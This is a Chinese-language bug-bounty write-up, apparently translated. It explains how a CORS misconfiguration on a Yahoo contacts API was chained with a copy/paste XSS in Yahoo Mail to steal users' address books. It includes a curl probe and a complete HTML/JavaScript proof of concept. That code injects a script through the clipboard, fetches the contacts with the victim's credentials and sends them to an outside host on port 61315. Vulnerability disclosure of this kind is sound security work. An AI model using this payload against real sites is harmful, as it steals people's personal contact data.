导语:文中介绍了研究人员如何利用两个漏洞(XSS和CORS误配置漏洞)来窃取受害者通讯录中的联系人信息。窃取的信息包括姓名、电话号码、地址等。

背景介绍

文中介绍了研究人员如何利用两个漏洞(XSS和CORS误配置漏洞)来窃取受害者通讯录中的联系人信息。窃取的信息包括姓名、电话号码、地址等。

跨域资源共享CORS(Cross-origin resource sharing)

跨域资源共享CORS(Cross-origin resource sharing)是一种用HTTP头来使用户代理从服务器上获取特定资源的权限,而这种请求权限是跨域的。而浏览器强制执行的是同源策略(Same-Origin Policy),同源策略意味着网站上的数据只允许相同域名和端口访问。这里有一个例外就是CORS配置,进行CORS配置后,就可以跨域访问了,数据可以在不同站点之间访问。

跨站脚本攻击XSS(Cross Site Scripting)

XSS一种客户端代码注入攻击方式,允许攻击者在有漏洞的应用中注入脚本。

利用的漏洞详情

Bug #1:

CORS误配置http://proddata.xobni.yahoo.com

研究人员用Burp Suite对*.yahoo.com子域名的不同请求进行了分析,发现一个很有趣的子域名proddata.xobni.yahoo.com,记录的请求很少,但是都是请求的endpoint都相同——https://proddata.xobni.yahoo.com/v4/contacts。该endpoint含有联系人目录中的每一个联系人,而且带有Access-Control-Allow-Credentials: true的源https://mail.yahoo.com被反射回Access-Control-Allow-Origin。研究人员尝试修改origin为不同的payload但是并没有效果,因此研究人员用一个雅虎的子域名替换了该payload。

curl 'https://proddata.xobni.yahoo.com/v4/contacts' -s -H 'Origin: https://hackerone-cdl.yahoo.com' –head

响应消息:

Access-Control-Allow-Origin: https://hackerone-cdl.yahoo.com

Access-Control-Allow-Methods: GET,POST,PUT,DELETE,OPTIONS

Access-Control-Allow-Credentials: true

从上面的信息可以发现,可以接受所有*.yahoo.com子域名的数据并反射到ACAO中,这意味着如果可以在*.yahoo.com中发现XSS漏洞,就可以窃取用户通讯录信息。

Bug #2: Yahoo邮箱XSS漏洞

研究人员没有找到雅虎邮箱的XSS漏洞,但是在tweet上发现Enguerran Gillier (@opnsec)发现的雅虎邮箱中的复制粘贴XSS漏洞。

Poc

登录的用户可以从页面中复制任意信息并粘贴到雅虎邮箱中。

<!doctype html>
  <head>
    <title>Yahoo CORS Misconfiguration</title>
  </head>
  <body>
    <h1>Yahoo CORS Misconfiguration</h1>
    <p>Stealing Contact information via CORS Misconfiguration + Yahoo Mail XSS via Copy/Paste</p>
    <h3>Prerequisites :</h3>
    - Tested on Windows 10 with Firefox 56, Chrome 62, Edge<br/>
    <h3>Instructions :</h3>
    1. Select any text in this page and copy it using ctrl-C or right click -> copy <br/>
    <span>Copy status : </span><span id="copied">not copied yet</span> <br/>
    2. Go to Yahoo Mail, compose a new email and paste inside the email body<br/>
    3. All of your contact's information will be sent to my server on port 61315  
  <script>
  document.addEventListener('copy', function(e){
   e.clipboardData.setData('text/plain', '');
   e.clipboardData.setData('text/html','<div id="enhancr2_a">xxx</div><img src="x" onerror="document.write('<script>var xhttp=new XMLHttpRequest();xhttp.onreadystatechange = function() {if (this.readyState == 4 && this.status == 200) {document.location="http://example.com:61315"+escape(this.responseText);}};xhttp.open("GET","https://proddata.xobni.yahoo.com/v4/contacts",true);xhttp.withCredentials = true;xhttp.send();</script>');">');
   e.preventDefault();
   document.getElementById("copied").textContent = "SUCCESSFULLY COPIED"
  });
  </script>
源链接

Hacking more

...